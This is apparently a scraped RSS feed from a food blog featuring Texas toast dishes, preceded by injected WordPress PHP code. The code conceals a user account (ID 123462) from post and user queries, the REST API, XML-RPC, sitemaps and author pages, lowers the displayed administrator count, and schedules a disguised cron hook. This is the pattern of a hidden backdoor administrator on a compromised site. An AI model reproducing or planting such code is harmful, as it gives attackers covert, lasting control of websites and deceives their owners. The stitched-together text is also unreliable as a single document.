add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123462;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123462;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123462;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );

The post Garlic Bread Pizza first appeared on Damn That Looks Good.
]]>
The post Mighty Mac N Grilled Cheese first appeared on Damn That Looks Good.
]]>
The post Bacon Cheeseburger With Onions Between Two Texas Toast Grilled Cheese Sandwiches first appeared on Damn That Looks Good.
]]>The post Grilled Mac & Cheese Sandwiches first appeared on Damn That Looks Good.
]]>
Photo courtesy of Around My Family Table.
The post Grilled Mac & Cheese Sandwiches first appeared on Damn That Looks Good.
]]>The post Crab Melt From The Grilled Cheese & Crab Cake Co. first appeared on Damn That Looks Good.
]]>
Crab cake between two slices of grilled Texas toast with melted Monterey Jack cheese.
Garden City, South Carolina
The post Crab Melt From The Grilled Cheese & Crab Cake Co. first appeared on Damn That Looks Good.
]]>The post The Redonkadonk Burger first appeared on Damn That Looks Good.
]]>
A bacon, egg, and cheese burger topped with ham in between two grilled cheese sandwiches.
Photo courtesy of Cooking Channel.
The post The Redonkadonk Burger first appeared on Damn That Looks Good.
]]>The post The Swingbellys Challenge From Swingbellys BBQ first appeared on Damn That Looks Good.
]]>
“Any single belly that accomplishes such feat in one hour will be treated to an Official Porker T-shirt, his/her picture on Our Wall Of Fame, and we’ll even pay for your platter! Good Luck!”
It consists of a full slab of St. Louis ribs, 1/4 lb. pulled pork on Texas toast, 1/4 lb. of brisket on Texas toast, 4 wings, 3 rib tips, With 2 sides and Cornbread, all for $34.95.
Long Beach, New York
The post The Swingbellys Challenge From Swingbellys BBQ first appeared on Damn That Looks Good.
]]>The post Fried Seafood Platter From Pineapple Willy's first appeared on Damn That Looks Good.
]]>
Fried oysters, fried shrimp, and fried grouper served with french fries and Texas toast.
Thanks to Christal for the photo!
McCalla, Alabama
The post Fried Seafood Platter From Pineapple Willy's first appeared on Damn That Looks Good.
]]>